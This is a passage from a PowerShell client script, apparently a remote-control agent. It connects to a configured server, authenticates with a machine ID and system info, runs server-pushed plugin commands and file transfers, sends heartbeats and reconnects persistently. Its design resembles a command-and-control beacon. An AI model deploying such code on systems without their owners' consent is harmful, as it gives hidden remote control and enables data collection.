        $tcpClient.ReceiveBufferSize = 1048576
        $tcpClient.SendBufferSize = 1048576
        $tcpClient.ReceiveTimeout = 60000
        $tcpClient.SendTimeout = 30000

        $asyncResult = $tcpClient.BeginConnect($sHost, $sPort, $null, $null)
        $connected = $asyncResult.AsyncWaitHandle.WaitOne(5000, $false)

        if (-not $connected) {
            Write-Host "$(Get-Date -Format 'HH:mm:ss') - Connection timeout. Retrying..." -ForegroundColor Yellow
            try { $tcpClient.Close() } catch { }
            Start-Sleep -Seconds 5
            continue
        }

        try { $tcpClient.EndConnect($asyncResult) }
        catch {
            Write-Host "$(Get-Date -Format 'HH:mm:ss') - Connection refused. Retrying..." -ForegroundColor Yellow
            try { $tcpClient.Close() } catch { }
            Start-Sleep -Seconds 5
            continue
        }

        $stream = $tcpClient.GetStream()
        Write-Host "$(Get-Date -Format 'HH:mm:ss') - Connected!" -ForegroundColor Green

        # ========== AUTHENTICATION ==========

        $authJson = @{
            password   = $httpPassword
            machine_id = $machineId
            info       = $systemInfo
        } | ConvertTo-Json -Compress -Depth 5

        $authEncrypted = Encrypt-Payload -PlainText $authJson -Key $encryptionKey
        Write-TcpMessage -Stream $stream -MsgType $MSG_AUTH -Payload $authEncrypted

        $authResp = Read-TcpMessage -Stream $stream
        if ($null -eq $authResp) {
            Write-Host "$(Get-Date -Format 'HH:mm:ss') - No auth response" -ForegroundColor Red
            throw "Auth failed"
        }

        if ($authResp.Type -eq $MSG_AUTH_FAIL) {
            $reason = if ($authResp.Payload) { [Text.Encoding]::UTF8.GetString($authResp.Payload) } else { "Unknown" }
            Write-Host "$(Get-Date -Format 'HH:mm:ss') - Auth failed: $reason" -ForegroundColor Red
            throw "Auth failed"
        }

        if ($authResp.Type -ne $MSG_AUTH_OK) {
            Write-Host "$(Get-Date -Format 'HH:mm:ss') - Unexpected response: 0x$($authResp.Type.ToString('X2'))" -ForegroundColor Red
            throw "Auth failed"
        }

        Write-Host "$(Get-Date -Format 'HH:mm:ss') - Authenticated!" -ForegroundColor Green

        # ========== MESSAGE LOOP ==========

        $lastHeartbeat = [DateTime]::UtcNow
        $lastInfoRefresh = [DateTime]::UtcNow
        $lastCleanup = [DateTime]::UtcNow
        $infoRefreshSeconds = 60
        $cleanupIntervalSeconds = 10

        while ($tcpClient.Connected) {
            $now = [DateTime]::UtcNow

            # ---- PHASE 1: Read all incoming messages ----
            while ($stream.DataAvailable) {
                $msg = Read-TcpMessage -Stream $stream
                if ($null -eq $msg) { throw "Connection lost" }

                switch ($msg.Type) {
                    $MSG_HEARTBEAT_ACK {
                        if ($msg.Payload -and $msg.Payload.Length -ge 5) {
                            $pending = [int]$msg.Payload[0] -bor ([int]$msg.Payload[1] -shl 8) -bor
                                       ([int]$msg.Payload[2] -shl 16) -bor ([int]$msg.Payload[3] -shl 24)
                            $fileQueued = $msg.Payload[4] -ne 0
                            if ($pending -gt 0 -or $fileQueued) {
                                Write-Host "$(Get-Date -Format 'HH:mm:ss') - Pending: $pending cmd(s), file=$fileQueued" -ForegroundColor Cyan
                            }
                        }
                    }
                    $MSG_PLUGIN_CMD { Handle-PluginCmd -Payload $msg.Payload }
                    $MSG_FILE_TRANSFER { Handle-FileTransfer -Payload $msg.Payload }
                    $MSG_DISCONNECT { throw "Server disconnect" }
                    default {
                        Write-Host "$(Get-Date -Format 'HH:mm:ss') - Unknown msg: 0x$($msg.Type.ToString('X2'))" -ForegroundColor Yellow
                    }
                }
            }

            # ---- PHASE 2: Send ALL plugin output (tight loop until drained) ----
            $outputDrained = $false
            while (-not $outputDrained) {
                $sentAny = Send-AllPluginOutput -Stream $stream
                if (-not $sentAny) {
                    $outputDrained = $true
                }
                # Check for new incoming while sending output
                if ($stream.DataAvailable) { break }
            }

            # If new data arrived during output send, loop back immediately
            if ($stream.DataAvailable) { continue }

            # ---- PHASE 3: Heartbeat ----
            if (($now - $lastHeartbeat).TotalSeconds -ge $heartbeatInterval) {
                Write-TcpMessage -Stream $stream -MsgType $MSG_HEARTBEAT -Payload ([byte[]]@(0))
                $lastHeartbeat = $now
            }

            # ---- PHASE 4: System info refresh (time-based, non-blocking) ----
            if (($now - $lastInfoRefresh).TotalSeconds -ge $infoRefreshSeconds) {
                $lastInfoRefresh = $now
                $systemInfo = Get-SystemInfo
                $infoBytes = [Text.Encoding]::UTF8.GetBytes($systemInfo)
                Write-TcpMessage -Stream $stream -MsgType $MSG_CLIENT_INFO -Payload $infoBytes
            }

            # ---- PHASE 5: Dead plugin cleanup ----
            if (($now - $lastCleanup).TotalSeconds -ge $cleanupIntervalSeconds) {
                $lastCleanup = $now
                Cleanup-DeadPlugins
            }

            # ---- PHASE 6: Smart wait ----
            # Tight poll: check every 1ms for data or plugin output, max 20ms
            $waitUntil = [DateTime]::UtcNow.AddMilliseconds(20)
            while ([DateTime]::UtcNow -lt $waitUntil) {
                if ($stream.DataAvailable) { break }
                if (Get-HasPluginOutput) { break }
                [System.Threading.Thread]::Sleep(1)
            }
        }
    }
    catch {
        $errMsg = $_.Exception.Message
        if ($errMsg -ne "Auth failed" -and $errMsg -ne "Connection lost" -and $errMsg -ne "Server disconnect") {
            Write-Host "$(Get-Date -Format 'HH:mm:ss') - Error: $errMsg" -ForegroundColor Red
        }
    }
    finally {
        if ($null -ne $stream) { try { $stream.Dispose() } catch { } }
        if ($null -ne $tcpClient) { try { $tcpClient.Close() } catch { } }
    }

    Write-Host "$(Get-Date -Format 'HH:mm:ss') - Reconnecting in 5s..." -ForegroundColor Yellow
    Start-Sleep -Seconds 5
}
}
finally {
    Stop-AllPlugins
}